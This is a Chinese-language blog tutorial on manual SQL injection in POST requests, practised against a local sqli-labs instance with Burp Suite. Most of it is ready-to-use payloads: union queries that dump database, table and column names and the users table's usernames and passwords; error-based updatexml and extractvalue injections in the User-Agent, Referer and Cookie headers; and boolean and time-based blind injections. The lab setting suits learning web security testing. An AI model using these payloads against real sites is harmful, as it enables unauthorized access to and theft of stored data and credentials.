手动SQL注入-Post请求

别等时光非礼了梦想. 提交于 2020-03-22 22:30:49

3 月,跳不动了?>>>

Burpsuite介绍

Burpsuite是一款基于Java语言开发的Web安全测试利器几乎集成了Web安全测试中需要的所有功能。

Burpsuite使用

1、火狐浏览器选择“手动代理配置”并配置代理地址为127.0.0.1端口默认是8080,点击为所有协议使用相同代理服务器。

2、启动Burpsuite

3、在BurpSuite界面中点击“Proxy”->“Options“设置代理

4、在BurpSuite界面中点击“Proxy”->“Intercept“,默认intercept功能是启动的。如果intercept is Off表示关闭,点击一下即可启动。

5、BurpSuite界面中点击Forward放行数据包,点击Drop丢弃数据包。

Burpsuite截获请求

1、在BurpSuite界面中点击“Proxy”->“Intercept“

2、火狐浏览器访问http://192.168.1.64/sqli-labs/ 页面

3、截获请求信息

SQL报错

POST方式联合查询

1、启动Burpsuite截获请求

2、burpsuite对数据包进行修改,空白处点击右键选择Send to Repeater。Repeater是靠手动操作发送单独的HTTP请求,并可以随时多次分析应用程序响应的工具。

其中&并非是SQL语句中的&,只是HTTP 请求包格式,实际上,uname和passwd两个参数当中的值,最终是传递到程序中的SQL中

3、判断是否有注入点,先自己注册一个账号

uname=admin&passwd=123\&submit=Submit
#You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''123\' LIMIT 0,1' at line 1

SQL语句报错说明有SQL注入点,且闭合关系是‘’单引号。

4、保持恒成立条件进行登录

uname=admin&passwd=123'or 1=1 --+ &submit=Submit

5、使用order by进行猜解选择语句中的字段数

uname=admin &passwd=123' or 1=1 order by 3 --+ &submit=Submit
#Unknown column '3' in 'order clause'

# 选择语句中的字段数是2
uname=admin &passwd=123' or 1=1 order by 2 --+ &submit=Submit

6、使用union查询,显示当前数据库名

#显示当前的用户名和数据库名
uname=admin &passwd=123'union select user(),database() --+ &submit=Submit

7、使用union查询,显示当前数据库中的所有表

uname=admin &passwd=123'union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+ &submit=Submit

8、使用union查询,显示当前数据库中表的字段

# 显示当前数据库users表中的所有字段
uname=admin &passwd=123'union select database(),group_concat(column_name) from information_schema.columns  where table_schema=database() and table_name='users'--+ &submit=Submit

9、使用union查询,显示表数据

#显示users表数据
uname=admin &passwd=123'union select username,password  from users --+  &submit=Submit

POST方式Http头注入

HTTP 头注入原理

和表单的注入原理一样,HTTP 头中的参数被带入数据库中被不按照程序员方式执行就造成了HTTP头注入。 扩展:对XML文档进行查询和修改的函数

# XML_document参数和new_value参数不影响SQL 注入的结果,而参数XPath如果不符合XML格式页面就好报错
extractvalue(XML_document, XPath_string);  #查询
updatexml(XML_document, XPath_string, new_value);  #修改

User-Agent注入

1、判断是否有注入点

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0\

2、使用updatexml(XML_document, XPath_string, new_value)函数报出当前数据库名

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0' or updatexml(1,concat(1,database()),1) or '1'='1

3、使用extractvalue(XML_document, XPath_string)函数报出当前数据库名

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0' or extractvalue(1,concat(1,(select database()) )) or '1'='1

Referer注入

1、判断是否有注入点

Referer: http://192.168.1.64/sqli-labs/Less-19/'

2、使用updatexml函数报出当前数据库名

Referer: http://192.168.1.64/sqli-labs/Less-19/' or updatexml(1,concat(1,(select database())),1) or '

3、使用updatexml函数报出当前数据库中的所有表

Referer: http://192.168.1.64/sqli-labs/Less-19/' or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) or '

4、使用updatexml函数报出当前数据库中指定表的所有字段

Referer: http://192.168.1.64/sqli-labs/Less-19/' or updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1) or '

5、使用时间盲注获取当前数据库名的长度

Referer: http://192.168.1.64/sqli-labs/Less-19/'and (select length(database())>8) or if(1=1,sleep(3),1) or '

Cookie注入

Cookie介绍

用户访问网站在交互的过程中,用户的一系列操作肯定会产生一些数据需要保存。例如我们登录网站时如果选择记住密码,浏览器就会保存我们登录网站的cookie,我们下次打开网站时就不需要再次输入用户名密码等信息只需要判断cookie是否正确即可。

1、判断是否有注入点

Cookie: uname=admin'

2、使用updatexml函数进行注入报出数据库名

Cookie: uname=admin' or updatexml(1,concat(1,(select database())),1)or '

3、使用时间盲注获取当前数据库名的长度

Cookie: uname=admin' or (select length(database())=8) or if(1=1,sleep(3),1) or '

页面跳转报错

POST方式盲注

布尔盲注

1、判断是否有注入点

uname=admin&passwd=123456" or 1=1 --+ &submit=Submit

#有注入点且闭合方式是''单引号
uname=admin&passwd=123456' or 1=1 --+ &submit=Submit

2、猜解数据库的长度

uname=admin&passwd=123456' or (select length(database()))=8 --+ &submit=Submit

3、猜解数据库名

#猜解数据库名的第一个字符
uname=admin&passwd=123456' or (select ascii(substr(database(),1,1)))=115 --+ &submit=Submit

4、判断当前数据库是否存在表

#使用exists函数判断当前数据库是否存在表
uname=admin&passwd=123456' or exists (select * from information_schema.tables where table_schema=database())--+&submit=Submit

5、猜解当前数据库表的数量

#破解当前数据库表的数量是4
uname=admin&passwd=123456' or (select count(table_name) from information_schema.tables where table_schema=database())=4--+&submit=Submit

6、猜解当前数据库的表名长度

#当前数据库的第一个表名长度是6
uname=admin&passwd=123456' or (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6--+&submit=Submit

7、猜解当前数据库的表名

#使用ascii()函数和substr()函数猜解当前数据第一个表名的第一个字符
uname=admin&passwd=123456' or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101--+&submit=Submit

时间盲注

1、猜解数据库的长度

#条件成功返回1,否则睡眠3s
# if(length(database())=8是判断条件
uname=admin&passwd=123456' or  (select if(length(database())=8,1,sleep(3)))--+ &submit=Submit
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!